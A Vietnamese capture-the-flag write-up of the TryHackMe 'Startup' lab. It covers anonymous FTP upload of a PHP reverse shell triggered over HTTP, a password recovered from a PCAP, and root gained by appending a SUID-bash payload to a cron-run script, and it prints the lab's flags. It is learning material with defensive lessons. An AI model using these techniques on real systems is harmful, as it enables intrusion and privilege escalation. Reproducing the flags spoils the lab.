TryHackMe - Startup | Writeup chi tiết (Red + Web)
Bối cảnh: Đây là writeup phòng lab TryHackMe "Startup" — môi trường được phép, thực hiện trong VPN lab của TryHackMe, mục đích học tập & phòng thủ. Mọi thao tác chỉ áp dụng cho máy mục tiêu của lab.
Độ khó: Easy · Chủ đề: FTP/web RCE → phân tích PCAP → privesc qua cron writable
1. Recon — Nmap
Quét toàn bộ port:
nmap -sC -sV -p- <MACHINE_IP>
Kết quả 3 dịch vụ chính:
| Port | Service |
|---|---|
| 21 | vsftpd (FTP — cho phép anonymous) |
| 22 | OpenSSH |
| 80 | Apache httpd |

2. FTP Anonymous + Web Maintenance
Đăng nhập FTP ẩn danh:
ftp <MACHINE_IP>
# user: anonymous / pass: (trống)
Thấy thư mục ftp/ ghi được và file notice.txt nhắc về việc bảo trì / di chuyển credentials.

Trang web port 80 chỉ là trang Maintenance.

3. Gobuster → /files/
gobuster dir -u http://<MACHINE_IP>/ -w /usr/share/wordlists/dirb/common.txt
Phát hiện /files/ — đây chính là thư mục FTP ftp/ được phục vụ qua HTTP (Index of /files).


4. Upload reverse shell qua FTP → RCE
Vì ftp/ ghi được và lại được serve tại /files/, ta upload PHP reverse shell qua FTP rồi trigger qua web.
# Trong phiên FTP
put shell.php
# Lắng nghe
nc -lvnp 4444
# Trigger
curl http://<MACHINE_IP>/files/shell.php
Có shell với quyền www-data (LHOST = tun0).


5. recipe.txt + PCAP điều tra
Trên máy có recipe.txt → trả lời câu hỏi "secret spicy soup recipe" = love.
Quan trọng hơn: thư mục /incidents/ chứa suspicious.pcapng.

Tải file về và mở bằng Wireshark, Follow TCP Stream → tái hiện phiên reverse shell của một kẻ tấn công trước đó. Trong stream lộ mật khẩu khi gõ sudo:
lennie : c4ntg3t3n0ughsp1c3

6. SSH lennie → user.txt
ssh lennie@<MACHINE_IP>
# password: c4ntg3t3n0ughsp1c3
cat ~/user.txt
user.txt =
THM{03ce3d619b80ccbfb3b7fc81e46c0e79}

7. Privilege Escalation — cron writable
Trong /home/lennie/scripts/ có planner.sh và startup_list.txt. planner.sh gọi tới /etc/print.sh — file mà lennie có quyền ghi, và một cron của root chạy planner.sh định kỳ (~90s).

Ghi payload tạo SUID bash vào /etc/print.sh:
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /etc/print.sh
# chờ cron root chạy (~90s)
ls -la /tmp/rootbash # -rwsr-xr-x
/tmp/rootbash -p
# id -> euid=0(root)
cat /root/root.txt
root.txt =
THM{f963aaa6a430f210222158ae15c3d76d}

Tổng kết
| Giai đoạn | Kỹ thuật |
|---|---|
| Foothold | FTP anonymous ghi được + serve tại /files/ → PHP reverse shell → RCE www-data |
| Lateral | Phân tích PCAP (suspicious.pcapng) lộ mật khẩu lennie |
| PrivEsc | Cron root chạy script gọi file ghi được (/etc/print.sh) → SUID bash → root |
Bài học phòng thủ: không để thư mục FTP ghi được trùng với web root; không lưu credential trong file/capture để lộ; script chạy bởi cron root phải thuộc sở hữu root và không cho user thường ghi.
Comments
Join the discussionNo comments yet. Be the first to comment.